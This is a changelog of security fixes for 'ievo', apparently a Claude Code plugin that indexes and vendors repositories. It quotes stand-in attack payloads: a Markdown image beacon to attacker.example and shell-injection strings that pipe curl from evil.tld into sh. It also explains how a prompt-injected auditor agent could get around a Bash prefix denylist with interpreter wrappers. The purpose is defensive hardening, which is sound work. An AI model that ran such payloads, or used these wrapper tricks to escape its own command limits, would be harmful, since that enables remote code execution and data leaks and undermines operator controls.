Extend escapeMdCell in scan_repo.mjs to neutralize Markdown link/image syntax, closing the follow-up the v0.51.1 fix explicitly flagged — closes #377.

• Gap closed — escapeMdCell() escaped only backslash, pipe, and backtick; it never touched [ or !. renderIndexMd() interpolates its output into several plain (non-backtick-wrapped) positions — repo/plugin/agent/skill/command description cells, name cells, default_branch — so a scanned repo's attacker-controlled description/name frontmatter field containing e.g. ![beacon](https://attacker.example/x.png?leak=1) or [https://github.com/real-owner/real-repo](https://evil.example/phish) rendered as a live image/link wherever the generated index is viewed (GitHub auto-render or any Markdown client) — CWE-116. This was self-identified and left out of scope in the v0.51.1 changelog entry that first added escapeMdCell.
• Fix — escapeMdCell now also escapes [ and ! (after the existing backslash/pipe/backtick escapes). Every Markdown link/image form — inline [text](url), reference [text][ref], shortcut [text], and image ![alt](url)/![alt][ref] — requires an unescaped [ (images additionally need an unescaped ! immediately before it), so escaping [ alone already breaks every form; escaping ! too matches the issue's own recommendation as defense-in-depth. A bare ](...)/)/] with no preceding unescaped [/! carries no Markdown meaning, so nothing else needed escaping — verified against real GFM rendering (marked) for the issue's own two exploit payloads plus reference/shortcut/nested-image variants before landing, not just against hand-written tests.
• Tests — flipped the existing test that locked in the link-syntax passthrough to assert the neutralized form, and added dedicated cases for [-escaping (inline + shortcut link) and !-escaping (inline + reference image), plus a case confirming a lone ! with no following [ renders unaffected.
• Doc note — the generated index's own "Untrusted content below" banner (renderIndexMd()) is updated to also name link/image syntax among what's escaped, so it stays accurate about the protection this fix adds instead of only describing the pre-existing pipe/backtick escaping.
• Scope — confined to plugins/ievo/scripts/scan_repo.mjs and its test file. scan_repo.mjs's own scanner-format SCRIPT_VERSION bumps 1.1.2 → 1.1.4 (skipping 1.1.3, claimed by another in-flight PR at push time) since this changes the generated .md output content, mirroring the v0.51.1 precedent.
• Scope note — an /ievo:vuln-scan pass on this diff (dogfooding, eva#158) surfaced a related but distinct gap: escapeMdCell still does not neutralize raw inline HTML (<img src=...>, <a href=...>), which GitHub's Markdown renderer allows through its sanitizer allow-list, so a scanned repo's field containing literal HTML could still render a live image beacon or spoofed link the same way [/! syntax could before this fix — a parallel CWE-116 sub-vector, not the bracket/bang syntax closed here. Same shape as the v0.51.1 precedent that first flagged this PR's own gap: left out of scope (this fix stays confined to what #377 asked for) and flagged here for a follow-up rather than silently dropped.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.4

Close a CWE-59 symlink-following gap in scan_repo.mjs's enumeration helpers so a scanned repo can't leak a sibling checkout's (or arbitrary host path's) content into the public community index — closes #363.

• Gap closed — isDir/fileExists (and the CWE-400 size guard isOversized) used statSync, which follows symlinks to their target's stats. A repo committing e.g. agents, skills, or plugins/<x>/agents as a symlink pointing at a sibling checkout (a predictable path — checkouts live under one shared, TTL-cached parent directory) or an arbitrary host path would have that target's content silently enumerated and published into the requesting repo's index entry — a cross-checkout/cross-tenant information-disclosure channel with a public sink.
• Fix — every statSync call site in the file (isDir/fileExists/isOversized, plus checkoutOrRefresh's incidental cache-freshness read of .git/HEAD's mtime) now uses lstatSync, which reports an entry's own type without following its final path component, so a symlink is judged as neither a directory nor a regular file regardless of where it points (or whether the target even exists); every call site already treats "not present" as "skip this optional entry", so a planted symlink now reads exactly like a genuinely absent path instead of being followed. A new assertCheckoutContained helper adds defense-in-depth: after checkoutOrRefresh returns, main() resolves the checkout's real path (realpathSync) and re-verifies containment against checkoutDir's own realpath (both sides resolved, so an ancestor symlink can't produce a false mismatch) via the existing assertContained helper, guarding the shared, TTL-cached checkout parent directory against being swapped for a symlink between the string-level containment check and this scan actually reading from it.
• Tests — new symlink-specific cases for isDir/fileExists/isOversized plus a dedicated end-to-end regression suite reproducing the issue's exact exploit chain: a "victim" fixture with real agent/skill/hook/MCP/manifest content, and every enumeration entry point (enumerateStandaloneAgents/Skills/Commands, enumerateOnePlugin, enumerateHooks, enumerateMcp) verified to NOT surface it when the entry point is a symlink into that fixture — including the issue's own named plugins/<x>/agents example and a single symlinked file inside an otherwise-real directory. assertCheckoutContained and main()'s new escape path get dedicated pass/throw coverage too.
• Scope — confined to plugins/ievo/scripts/scan_repo.mjs and its test file; no output-format change, so scan_repo.mjs's own scanner-format SCRIPT_VERSION (1.1.2) is unchanged.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.3

Close a CWE-78 gap in /ievo:update's vendor-refresh path — validate the overlay-derived <name>/source.repo before any Bash use and replace the Step 2 gh api/base64 content fetch with the established clone+Glob/Read+Write protocol — closes #362.

• Gap closed — update.md Step 2 built a gh api repos/<source.repo>/contents/<source.path> --jq '.content' | base64 -d command line, and Step 2.5/3.5 built cp/sed/rm command lines, all interpolating <name> (the overlay filename), source.repo, and source.path — three fields read straight from .ievo/evolution/<scope>/<name>.md, a file inside the project's own git tree that a malicious/compromised PR (or the separate vendoring gap tracked in #357) can control. None of the three was validated before reaching a Bash/gh api command string, so a crafted overlay filename or source: frontmatter value achieved command injection the next time /ievo:update ran.
• Fix — Step 1 now validates <name> against ^[A-Za-z0-9_-]+$ and source.repo against scan_repo.mjs's own OWNER_REPO_RE before a target is allowed past inventory; a target that fails either check is skipped and reported as SKIPPED — invalid source metadata, matching the existing UPSTREAM MISSING handling style. source.path is a git tree path and can legally contain almost any byte, so — following the same reasoning already applied to evo/SKILL.md, evolution.md, and install-protocol.md's vendor fetches (#347/#348/#355/#366/#380) — it is never regex-validated or interpolated into a command string at all: Step 2 now resolves+validates the upstream default branch and commit sha, shallow-clones into a fresh mktemp -d checkout, then fetches the agent file via the Read tool or enumerates a skill directory via the Glob tool, writing staged content with the Write tool. Step 2.5's cp/sed and Step 3.5's rm keep their existing shape but now depend on — and document that they depend on — the Step 1 validation gate, since <name> is safe to interpolate once constrained to that charset. Because source.path is raw frontmatter text rather than a path derived from walking the cloned tree (unlike the sibling fetches, where git itself refuses a bare .. tree-entry component), Step 2 also adds an explicit containment check — resolving $CHECKOUT_DIR/<source.path> and confirming it stays inside $CHECKOUT_DIR — before Glob/Read ever touch it, closing a path-traversal (CWE-22) gap the clone-based fetch would otherwise open (caught during this PR's own /ievo:vuln-scan pass, not present in the filed issue).
• Scope — confined to plugins/ievo/commands/update.md prose; no script or schema changes, no new tests needed (command .md files aren't under the 100% Node-coverage gate).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION is unchanged — no scanner output-format change here.

---

v0.54.2

Replace security-auditor.md's bypassable — and, on current Claude Code, empirically Bash-stripping — Bash(prefix*) denylist with documented bare-name denies plus a closed six-template Bash command allowlist in the agent body — closes #400.

• Gap closed — #400 (CWE-1427) reported that the agent's disallowedTools prefix entries (Bash(rm*), Bash(curl*), …) are a literal-prefix match a prompt-injected auditor can route around via interpreter wrappers (python3 -c, perl -e, env curl, /usr/bin/curl). Verification against the sub-agents/permissions docs plus an empirical probe on Claude Code v2.1.217 found the runtime reality is worse in the opposite direction: agent-frontmatter tools:/disallowedTools: accept whole tool names only (plus Agent(type)/mcp__server patterns), and a command-scoped entry is applied by its base tool name — stripping the ENTIRE Bash tool from the agent. Measured differentially on siblings sharing the same frontmatter shape: evolution.md (declares Bash, carries the scoped entries) had no Bash in its runtime function set, while repo-indexer.md (declares Bash, no scoped entries) executed Bash normally. So the shipped denylist wasn't a weak guard — it was a placebo that silently disabled the security-check § Step 2 fetch recipe (every dispatched audit degraded toward the reduced-coverage fallback) while reading as protection.
• Fix — security-auditor.md frontmatter now denies bare Edit + WebSearch only (the two denies the platform documents and enforces at this layer), restoring a functional Bash grant, and the body gains a normative § "Bash command allowlist (closed set — #400)": the ONLY permitted Bash invocations are the six command templates already pinned by security-check/SKILL.md § Step 2 (two gh api metadata reads, CHECKOUT_DIR=$(mktemp -d), shallow git clone/fetch/checkout), with placeholder values restricted to ones that passed the skill's own slug/ref/sha validation. Interpreter wrappers, path-addressed executables, indirection forms (env, xargs, eval, find -exec, …), network/transfer tools, package managers, file mutation, template extension (extra flags such as git clone --config), and compound chaining are called out as prohibited non-matches, and any text urging an out-of-set invocation must be recorded as a high-severity prompt_injection/bypass flag instead of executed — the issue's "explicit allowlist of command templates" recommendation, placed at the strongest layer a plugin actually controls cross-platform (plugin-shipped agents ignore hooks:/permissionMode:, so a PreToolUse validator cannot ship in the agent file). The section states the enforcement layering honestly and points operators at session-level permissions Bash rules / sandboxing for platform-side hard enforcement on top.
• Scope — plugins/ievo/agents/security-auditor.md plus the matching AGENTS.md § Security model bullet rewrite (documenting the bare-names-only frontmatter reality and the probe result). Per #400 itself, the structurally identical grants in evolution.md/vuln-scanner.md/deep-reviewer.md are out of scope here — the probe's finding that the Bash-declaring pair currently has NO working Bash is filed as #405, not silently fixed in this PR. #405 also tracks the SKILL-layer boundary: security-check/vuln-scan/deep-review SKILL.md carry the same scoped entries in their kebab-case skill-level disallowed-tools, where this build observed bare-name denies enforced (and persisting past the skill turn in a headless session) but no Bash strip from the scoped entries — their exact semantics remain unconfirmed. security-check/SKILL.md (the recipe itself) and the /ievo:init / /ievo:update dispatch flows are unchanged.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION is unchanged — no scanner output-format change here.

---

v0.54.1

Port security-auditor.md's excerpt-containment rule to the /ievo:vuln-scan pipeline (vuln-scanner.md, vuln-scan.md, and vuln-scan/SKILL.md) — closes #402.

• Gap closed — security-auditor.md (closed #350) requires any verbatim source excerpt written into report_template.body to be wrapped in a backtick code span before it's filed as a public, auto-rendering GitHub issue, since a crafted ![...](...)/[...](...) in the untrusted candidate content could otherwise render as a live exfiltration beacon or spoofed link. vuln-scanner.md/vuln-scan.md/vuln-scan/SKILL.md had no equivalent rule, even though vuln-scanner findings quote scanned source verbatim into title, exploit_chain.*, and recommendation, and vuln-scan.md's Phase 4 "Present results" renders every finding field directly as Markdown — including in the Claude Code chat UI, which renders Markdown — with no escaping step anywhere in the pipeline.
• Fix — vuln-scanner.md gets the same "Excerpt containment" rule (scoped to title/exploit_chain.*/recommendation, verbatim quoted source only — not blanket-wrapping prose recommendations or bare identifiers), placed under its Step 2 "Output structured JSON" (before Step 3's failure schema), plus a matching ## Rules bullet next to "Cite specifically". vuln-scan.md's Phase 4 gets a new note instructing it to print these fields exactly as received from the scanner — never stripping or re-rendering the backtick wrapping before display. vuln-scan/SKILL.md — the canonical schema vuln-scanner.md restates, and itself directly invokable (its own model: sonnet pins the scan turn on direct invocation, mirroring security-check/SKILL.md's equivalent standing) — gets the identical rule + Rules bullet, so a direct caller isn't left with the unpatched template (the same follow-up #350 already applied to security-check/SKILL.md).
• Scope — confined to plugins/ievo/agents/vuln-scanner.md, plugins/ievo/commands/vuln-scan.md, and plugins/ievo/skills/vuln-scan/SKILL.md prose; no script or schema changes, no new tests needed (agent/command/skill .md files aren't under the 100% Node-coverage gate).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION is unchanged — no scanner output-format change here.

---

v0.54.0

Add consolidate/SKILL.md entry-cluster mode Option E5 ("consolidate in place") so a cluster folded back into its own overlay deletes its source entries instead of leaving redirect stubs — closes #385.

• Gap closed — Step 9 ("Redirect and prune") always replaced each migrated overlay entry with a one-line **Moved to** \` stub, for every extraction option. That pointer earns its tokens when the destination is a newly authored skill/agent (Option E1/E2/E3) — nothing else surfaces that the content moved there. It earns nothing when the destination is content that's already loaded in full every time the overlay itself is loaded: the project canon (AGENTS.md/CLAUDE.md, which loads project.md` via its marker block) or, per #395, an agent's/skill's own overlay at every dispatch of that target. A stub pointing a few lines down at content in the same already-loaded file is pure noise; git history already covers the audit trail.
• Fix — Phase 3 Step 7 gets a new Option E5 — Consolidate in place: merge a cluster's members into one deduplicated entry that stays in the same overlay (no new package authored). Step 8 drafts that merged entry directly (dated heading, **Trigger:** line noting which original entries/dates it consolidates, deduplicated body) instead of running the skill/agent frontmatter-authoring steps. Step 9 now branches by option: E1/E2/E3 keep the existing one-line redirect (unchanged — the new package is not loaded by default); E5 deletes the cluster's source entries outright and writes the merged entry in their place, with no stub. Steps 10/12/13 (entry inventory, duplicate re-check, single-source-of-truth audit), the Checkpoint 2/3 report templates, and Anti-Pattern Detection are updated to track the new destination and flag a lossy merge or a leftover E5 stub.
• Scope — confined to plugins/ievo/skills/consolidate/SKILL.md prose; no script changes, no new tests needed (SKILL.md files aren't under the 100% Node-coverage gate). E1-E4 behavior is unchanged. Sequenced after #395 (already merged) per the issue's own implementation note, since both touch Step 9.
• Version — bump per AGENTS.md rules (feat: → minor: this adds a new consolidation option rather than fixing broken behavior in an existing one); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION is unchanged — no scanner output-format change here.

---

v0.53.0

Extend evo/SKILL.md Step 5.7's extraction offer to agent- and skill-scope overlay captures, not just Project-wide — closes #395.

• Gap closed — Step 5.7 (shipped v0.50.0, closed #345) only ran its cluster-judgment check and /ievo:consolidate handoff offer when the capture scope classified in Step 1 was Project-wide, hard-gating it to .ievo/evolution/project.md. Agent- and skill-scope overlays (.ievo/evolution/agents/<name>.md, .ievo/evolution/skills/<name>.md) never got the offer, even though they have the same unbounded-growth problem #345 addressed — arguably sharper, since a per-target overlay is read live at every dispatch of that agent/skill and lessons are appended verbatim (no paraphrasing), so a busy overlay's full length is a permanent per-dispatch context tax. consolidate/SKILL.md Step 0's mode detection already treated any .ievo/evolution/**/*.md path as entry-cluster mode, so the machinery was ready; only the offer was missing.
• Fix — evo/SKILL.md Step 5.7 now runs its cluster-judgment check after every overlay append regardless of scope, reading whichever overlay Step 4 just wrote to (project.md, agents/<name>.md, or skills/<name>.md) and parameterizing the AskUserQuestion offer text and the /ievo:consolidate --root <overlay path> handoff to that same file. Step 6's report line no longer says "not applicable (not project-wide scope...)". The evolution sub-agent's mirrored Step 4.7 (plugins/ievo/agents/evolution.md) gets the identical gate removal and parameterization, so a delegated capture reports an extraction verdict for agent/skill scopes too.
• Scope — consolidate/SKILL.md needed no mode-detection change (already scope-agnostic); its "When to use" section and evo/SKILL.md Step 5.7 cross-reference are broadened from naming only project.md to naming all three overlay scopes. No script changes; no behavior change to Project-wide captures, which already ran this offer.
• Version — bump per AGENTS.md rules (feat: → minor, not fix: → patch: unlike #391/#356, no existing Project-wide behavior was broken here — this only broadens which scopes an already-correct offer covers, so it ships as new capability rather than a bug fix); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION is unchanged — no scanner output-format change here.

---

v0.52.3

Fix parseFrontmatter's hand-rolled YAML parser to correctly consume block/folded scalar (|/>) bodies instead of treating the 1-2 char indicator as the field's whole value — closes #392.

• Gap closed — parseFrontmatter() in validate_skills.mjs, validate_agents.mjs, and scan_repo.mjs each carry an independent, structurally identical single-line-only parser. For a frontmatter line like description: |, value = line.slice(colonIdx + 1).trim() evaluated to the literal string "|" (length 1) — the following, more-indented body lines were never associated with the key. In validate_skills.mjs this let an authored SKILL.md description/compatibility of any real length silently pass the DESCRIPTION_MAX_LENGTH/COMPATIBILITY_MAX_LENGTH (1024/500 char) CI gate, since 1 > 1024 is always false (CWE-20). The identical bug in scan_repo.mjs only affected display truncation (not a security gate); validate_agents.mjs shares the same root-cause parser but has no length-based check today, so it carried no active bypass — fixed anyway for consistency, since all three scripts enforce the same agentskills.io frontmatter model.
• Fix — each parseFrontmatter() now detects a same-line value matching a block/folded-scalar indicator (|, >, with an optional chomping mark +/- and/or an explicit indentation-indicator digit, in either order — YAML 1.2's block-header grammar permits both |2- and |-2) and consumes the following indented/blank lines into that key's true multi-line value, so length checks measure real content. Quote-stripping (used for single-line scalars like name: "foo") is skipped for a consumed block-scalar body, since leading/trailing quote characters there are literal content, not delimiters. Sequences and nested mappings remain unmodeled (unchanged from before): a bare key: with nothing on the same line still leaves the key unset, and every other line — indented or not — is still independently checked for its own key: value pattern, preserving the existing "don't skip indented lines" defense in validate_agents.mjs/validate_skills.mjs against a forbidden model: smuggled under an unrelated bare parent key. A model: (or any key) line legitimately nested inside a declared block scalar's body is now correctly treated as literal string content of that key, not a separate top-level assignment — matching how any real YAML parser would resolve the same frontmatter, so this does not reopen that defense. (An /ievo:deep-review pass on this diff caught an initial version of the indicator regex covering only the chomping-then-digit ordering, which left the digit-then-chomping ordering — e.g. description: |2- — as an unclosed reopening of the same CWE-20 gap; fixed before this landed.)
• Scope — confined to the three scripts' parseFrontmatter() functions and their 100%-coverage test suites (validate_skills.test.mjs, validate_agents.test.mjs, scan_repo.test.mjs). No new dependency: the fix extends the existing hand-rolled parser rather than adopting a full YAML library, keeping plugins/ievo/scripts/ stdlib-only per AGENTS.md. No behavior change for any currently-shipped SKILL.md/agent file — a repo-wide sweep found zero existing block-scalar frontmatter fields.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION is unchanged — the scanner's output format (fields emitted) is unaffected; only the accuracy of already-emitted description/compatibility values improves.

---

v0.52.2

Guard validate_skills.mjs / validate_agents.mjs's readFileSync call sites against a memory-exhaustion DoS from an oversized or unsafe attacker-controlled file — closes #391.

• Gap closed — validateSkill() (validate_skills.mjs:206) and validateAgent() (validate_agents.mjs:114) both called readFileSync(filePath, "utf-8") with no size or type check before reading (CWE-400), unlike their sibling scan_repo.mjs, which got exactly this guard in #374/v0.51.3. .pre-commit-config.yaml wires both validators into pre-commit-gate.yml's "hard gate", which runs on every pull_request from any public contributor — including forks — against the PR's own changed plugins/ievo/agents/*.md / plugins/ievo/skills/*/SKILL.md content, before human review completes. A crafted PR adding an oversized file (or a symlink pointed at a non-EOF-terminating device such as /dev/zero) at either path would be read in full, OOM-crashing or hanging the validator inside CI or a contributor's local pre-commit run.
• Fix — added isOversized(path, capBytes = MAX_VALIDATE_FILE_BYTES) (256 KB — frontmatter files are never legitimately larger, mirroring scan_repo.mjs's MAX_SCAN_FILE_BYTES) to both scripts, called immediately before each readFileSync; an oversized-or-unsafe path short-circuits to a file-too-large violation (severity: "error") instead of being read, so CI fails closed rather than silently skipping. Unlike scan_repo.mjs's existing isOversized (which uses statSync — the still-open gap #363 calls out), this guard uses lstatSync and rejects any path that isn't a plain regular file (!st.isFile()) — a symlink is judged on its own metadata and never followed, so a symlink to a device file is rejected by type outright rather than being stat'd through to a target whose reported size can be misleading (character devices commonly report size 0 while still streaming unboundedly on read).
• Scope — confined to plugins/ievo/scripts/validate_skills.mjs, plugins/ievo/scripts/validate_agents.mjs, and their 100%-coverage test suites. Output for a normally-sized, regular-file input is unchanged; the new file-too-large violation appears only when a file actually overflows the 256 KB cap or isn't a regular file. Two pre-existing tests (validate_skills.test.mjs / validate_agents.test.mjs — "continues past unreadable file") used a directory-named SKILL.md/.md to exercise main()'s file-unreadable catch path; since a directory also fails isOversized()'s isFile() check, those traps were switched to a chmod 000 permission-denied regular file (POSIX-only, matching the existing pattern in scan_repo.test.mjs) so the catch path stays covered.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION is unchanged — no scanner output-format change here, and #363 (its own statSync-follows-symlinks gap) remains a separate, still-open issue out of scope for this fix.

---

v0.52.1

Validate <owner>/<repo> against a strict allowlist before index-repos/SKILL.md interpolates it into a node scan_repo.mjs Bash invocation — closes #356.

• Gap closed — Step 2 ("Per-repo invocation") built the literal Bash command node "${CLAUDE_PLUGIN_ROOT}/scripts/scan_repo.mjs" <owner>/<repo> --output-dir ... --checkout-dir ... and substituted the caller-supplied <owner>/<repo> raw, with no validation instruction anywhere in the file — unlike security-check/SKILL.md Step 2 and inspect/SKILL.md Step 1, which already enforce an owner/repo allowlist. That string can originate from an untrusted source (discover.mjs's candidates[].source_repo, itself pulled from the skills.sh API / a marketplace catalog entry), so a crafted value such as foo/`curl evil.tld|sh` — a perfectly legal opaque string in an external JSON response, though not a legal GitHub slug — would be shell-interpreted the moment the Bash line ran, before scan_repo.mjs's own internal OWNER_REPO_RE check (which only protects paths the script constructs after it receives the string) ever got a chance to reject it.
• Fix — inserted a new Step 2 ("Validate each <owner>/<repo>") immediately before the Bash invocation (now Step 3): check <owner> against ^[A-Za-z0-9][A-Za-z0-9-]{0,38}$ and <repo> against ^[A-Za-z0-9._-]{1,100}$ (matching scan_repo.mjs's own OWNER_REPO_RE constant), refuse and report "invalid characters" on failure instead of interpolating, and continue with the remaining valid repos in a multi-repo input list. Added a corresponding invariant to the Rules section, mirroring the pattern already used in security-check/SKILL.md and inspect/SKILL.md.
• Scope — confined to plugins/ievo/skills/index-repos/SKILL.md; a textual instruction constraint plus the step renumbering it required, no script or test changes (scan_repo.mjs's own allowlist was already correct — this closes the gap at the SKILL.md call site that builds the command line in the first place).
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.52.0

Add /ievo:extract-best-practices — session-pattern mining with optional upstream sharing — closes #387.

• New skill — plugins/ievo/skills/extract-best-practices/SKILL.md mines the current session (not a file, not an overlay) for repeated multi-step workflows, decision frameworks, or error-recovery patterns that were never explicitly /evo'd. It cross-checks candidates against installed skills/agents, then presents each for explicit user selection at CHECKPOINT 1 before anything is written: a genuinely new, generalizable pattern is authored as a new skill/agent(/pair); a pattern too narrow to stand alone, or that refines an existing skill/agent, routes to /ievo:evo instead — /ievo:evo does its own scope/target classification, so this skill never reinvents overlay-writing logic or edits an existing skill/agent body directly.
• Reused, not reinvented — package authoring reuses consolidate/references/package-authoring.md's shared frontmatter templates and write mechanics (the same reference consolidate/SKILL.md's entry-cluster mode already used for one caller); that reference is generalized in this PR so metadata.source/extracted_from are caller-parameterized instead of hardcoded to consolidate, with no behavior change for consolidate's own existing usage.
• Upstream sharing (part 2 of the issue) — for a newly authored package that looks marketplace-worthy (no project-specific content, no overlap with an existing shipped skill), the skill offers — once, via an explicit permission gate, never silent — to submit a distilled version as a contribution to the ievo-ai/skills marketplace. Mirrors evo/SKILL.md Step 5.6's existing lesson-upstream-escalation pattern for a full package instead of a one-line lesson: classify relevance → ask once → hand off to /ievo:feedback, which still runs its own Step 5 public-posting confirmation unchanged. feedback/SKILL.md's flow (C) ("pre-filled handoff") is broadened in this PR to name both callers (/ievo:evo Step 5.6 and this skill's Phase 5) — its mechanics (skip Step 2, run everything else including Step 5's gate) were already generic enough to reuse verbatim.
• Distinct from /ievo:consolidate — consolidate's entry-cluster mode only clusters entries already captured in .ievo/evolution/*.md; this skill mines the raw session itself, independent of whether anything was ever /evo'd. Both skills now cross-reference each other in their See also sections.
• Scope — new plugins/ievo/skills/extract-best-practices/SKILL.md; small, additive edits to consolidate/references/package-authoring.md (parameterize the two hardcoded-to-consolidate fields + intro), consolidate/SKILL.md and evo/SKILL.md (reciprocal See also lines), and feedback/SKILL.md (broaden flow C's description to name its second caller). No script changes; no .mjs added, so the 100%-coverage gate is unaffected. AGENTS.md's skill tree gained one line.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (scanner output-format version, intentionally decoupled from plugin.json) is unchanged — no scanner output-format change here.

---

v0.51.6

Add the required command field to evo-auto-enable/SKILL.md's two generated hook entries — closes #384.

• Gap closed — Step 3.5.4's hooks.UserPromptSubmit[] and hooks.SessionStart[] JSON templates set "type": "command" with the executable folded into args ("args": ["sh", ".ievo/hooks/scripts/correction-capture.sh"]) and no command field. Claude Code's settings schema requires command even in exec form — it is the executable to spawn; args is the argument vector only, never the executable itself (verified against the current hooks reference). Following Step 3.5.4 verbatim on a Claude Code version that schema-validates .claude/settings.json on write fails with hooks.UserPromptSubmit.0.hooks.0.command: Expected string, but received undefined, so /ievo:evo-auto-enable could describe hooks it could never actually install.
• Fix — both templates now set "command": "sh" with args holding only the script path (["...correction-capture.sh"] / ["...evo-analysis-nudge.sh"]), matching the exec-form shape used correctly elsewhere in the plugin (e.g. discover.mjs invocations). Updated the accompanying dedup-matching prose in evo-auto-enable/SKILL.md (now dedupes on the command + args pair) and evo-auto-disable/SKILL.md's removal step (now matches the full {"type": "command", "command": "sh", "args": [...]} entry instead of the old two-element args array) so the paired enable/disable skills stay in lockstep with the corrected shape.
• Scope note — the identical "type": "command" + no-command-field pattern also exists in hooks-setup/SKILL.md (5 occurrences: the signal-file template, the Stop hook entry, both Notification hook entries, and the SessionStart version-check entry). That skill was not reported in #384 and is left out of scope for this PR; flagged here for a follow-up rather than silently dropped.
• Scope — confined to plugins/ievo/skills/evo-auto-enable/SKILL.md and plugins/ievo/skills/evo-auto-disable/SKILL.md. No script changes; no test suite applies (this module ships prose protocol, not executable code).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (scanner output-format version, intentionally decoupled from plugin.json) is unchanged — no scanner output-format change here.

---

v0.51.5

Make scan_repo.mjs's checkout cache key injective and verify checkout identity on a cache hit — closes #382.

• Gap closed — checkoutOrRefresh() derived its on-disk git-checkout cache directory as ownerRepo.replace(/\//g, "-"), a single dash-joined flattening (CWE-706). Because GitHub's owner and repo slug charsets both permit hyphens (OWNER_REPO_RE), this mapping is not injective: harmless-owner/nice-repo and harmless-owner-nice/repo both flatten to the identical directory harmless-owner-nice-repo. On a cache hit within the 7-day TTL, the function returned the existing checkout immediately with no git fetch/reset and no check that the checkout's actual remote matched the requested repo. A malicious repo submitted after a benign, slug-colliding repo was already cached would silently inherit the benign repo's clean scan results under its own published identity in the community index — undermining the index's stated purpose as a factual, pre-security-auditor trust signal.
• Fix — added checkoutCacheKey(ownerRepo), which appends a 12-hex-character SHA-256 digest of the full (pre-flattening) slug to the flattened name, so two slugs that collide on the flat prefix get distinct cache directories while the name stays legible for on-disk debugging. Added remoteMatches(target, url, execImpl), which runs git remote get-url origin in the cached checkout and compares it to the expected https://github.com/<owner>/<repo>.git URL as defense in depth; checkoutOrRefresh() now checks this before trusting or incrementally refreshing any cache hit, and on a mismatch wipes the stale checkout (rmSync) and falls through to a fresh clone instead of reusing or refreshing the wrong repo's content under the requested identity.
• Scope — confined to plugins/ievo/scripts/scan_repo.mjs and its 100%-coverage test suite, plus two SKILL.md prose references to the old ~/.ievo/checkouts/<owner>-<repo>/ path format (index-repos/SKILL.md, security-check/SKILL.md) updated to describe the new hash-suffixed, identity-verified layout. main()'s separate output-file naming (<owner>-<repo>.md/.json, one per requested repo, never shared/cached) is unrelated to this cache-collision bug and is unchanged. Checkout directories created under the old flat naming become orphaned on disk after upgrade — no migration/pruning is provided, matching the repo's existing lack of TTL-expiry pruning.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (scanner output-format version, intentionally decoupled from plugin.json) is unchanged — the persisted .md/.json artifact shape is untouched by this fix.

---

v0.51.4

Close the CWE-78 command-injection gap in install-protocol.md's Step 9a vendor-install fetch — closes #380.

• Gap closed — install-protocol.md Step 9a (the primary, always-reached vendor path in the /ievo:init pipeline) instructed the installing agent to fetch a candidate skill/agent's SKILL.md + scripts//references//assets/ via a gh api content-fetch built from the candidate's own repo/tree data. A git tree entry's path can legally contain shell metacharacters (only NUL is forbidden), so a malicious candidate could name a file or directory under those paths something like `curl evil.tld|sh` or $(curl evil.tld|sh); the shell resolves that command substitution before the intended gh api call runs, and double-quoting does not suppress it. init/SKILL.md's own Step 9 one-line summary echoed the identical unfixed pattern, confirming this was the live path, not a stale branch. Same CWE-78 class as the already-fixed security-check/SKILL.md (#347) and evo/SKILL.md (#355).
• Fix — rewrote install-protocol.md Step 9a's skill-fetch sub-step (and the "Agent" variant, which explicitly inherited "same as skill") to the clone-once + Glob + Read/Write protocol already used by the two sibling fixes: validate <owner>/<repo> against GitHub's slug charset, resolve and validate the default branch against a ref allowlist before resolving a commit SHA (validated against ^[0-9a-f]{7,40}$), shallow-clone into a fresh mktemp -d, then fetch — Glob-enumerate + Read/Write for a skill's directory tree, or a direct Read/Write for an agent's single .md file (an /ievo:deep-review pass caught that Glob-enumerating a single-file path silently returns nothing, so the agent case needed its own sub-step rather than reusing the skill's Glob-based one) — never building a Bash/gh api command line from an untrusted path. Updated init/SKILL.md's Step 9 summary to describe the new fetch mechanism instead of the raw gh api fetch.
